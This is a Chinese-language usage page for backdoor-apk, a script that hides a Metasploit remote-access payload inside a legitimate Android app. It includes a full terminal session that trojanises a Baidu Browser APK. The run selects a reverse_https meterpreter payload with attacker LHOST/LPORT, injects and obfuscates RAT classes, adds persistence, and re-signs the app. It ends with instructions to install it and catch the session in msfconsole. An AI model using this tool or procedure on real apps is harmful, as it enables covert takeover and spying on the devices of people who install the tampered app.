backdoor-apk 是一个 shell 脚本，简化了向任意 Android APK 文件中添加后门的过程。此 shell 脚本的用户应具备 Linux、Bash、Metasploit、Apktool、Android SDK、smali 等方面的实用知识。该脚本按原样提供，不提供任何形式的担保，仅用于教育目的。
用法：
root@kali:~/Code/github/backdoor-apk/backdoor-apk# ./backdoor-apk.sh BaiduBrowser.apk
________
/ ______ \
|| _ _ ||
||| || ||| AAAAAA PPPPPPP KKK KKK
|||_||_||| AAA AAA PPP PPP KKK KKK
|| _ _o|| (o) AAA AAA PPP PPP KKKKKK
||| || ||| AAAAAAAA PPPPPPPP KKK KKK
|||_||_||| AAA AAA PPP KKK KKK
||______|| AAA AAA PPP KKK KKK
/__________\
________|__________|__________________________________________
/____________\
|____________| Dana James Traversie
[*] Running backdoor-apk.sh v0.2.4a on Fri Sep 28 17:13:37 EDT 2018
[+] Android payload options:
1) meterpreter/reverse_http 4) shell/reverse_http
2) meterpreter/reverse_https 5) shell/reverse_https
3) meterpreter/reverse_tcp 6) shell/reverse_tcp
[?] Please select an Android payload option: 2
[?] Please enter an LHOST value: 10.6.9.31
[?] Please enter an LPORT value: 443
[+] Android manifest permission options:
1) Keep original
2) Merge with payload and shuffle
[?] Please select an Android manifest permission option: 2
[+] Handle the payload via resource script: msfconsole -r backdoor-apk.rc
[*] Decompiling original APK file...done.
[*] Locating smali file to hook in original project...done.
[+] Package where RAT smali files will be injected: com/baidu/browser/inter
[+] Smali file to hook RAT payload: com/baidu/browser/inter/BdApplication.smali
[*] Generating RAT APK file...done.
[*] Decompiling RAT APK file...done.
[*] Merging permissions of original and payload projects...done.
[*] Injecting helpful Java classes in RAT APK file...done.
[*] Creating new directory in original package for RAT smali files...done.
[+] Inject package path: com/baidu/browser/inter/pjese
[+] Generated new smali class name for MainBroadcastReceiver.smali: Iivym
[+] Generated new smali class name for MainService.smali: Aupyx
[+] Generated new smali class name for Payload.smali: Nwiuc
[+] Generated new smali class name for StringObfuscator.smali: Abnrw
[+] Generated new smali method name for StringObfuscator.obfuscate method: icobf
[+] Generated new smali method name for StringObfuscator.unobfuscate method: wbcik
[*] Copying RAT smali files to new directories in original project...done.
[*] Fixing RAT smali files...done.
[*] Obfuscating const-string values in RAT smali files...done.
[*] Adding hook in original smali file...done.
[*] Adding persistence hook in original project...done.
[*] Recompiling original project with backdoor...done.
[*] Generating RSA key for signing...done.
[*] Signing recompiled APK...done.
[*] Verifying signed artifacts...done.
[*] Aligning recompiled APK...done.
root@kali:~/Code/github/backdoor-apk/backdoor-apk#
重新编译的 APK 将位于 'original/dist' 目录中。在兼容的 Android 设备上安装该 APK，运行它，并通过生成的资源脚本处理 meterpreter 连接：msfconsole -r backdoor-apk.rc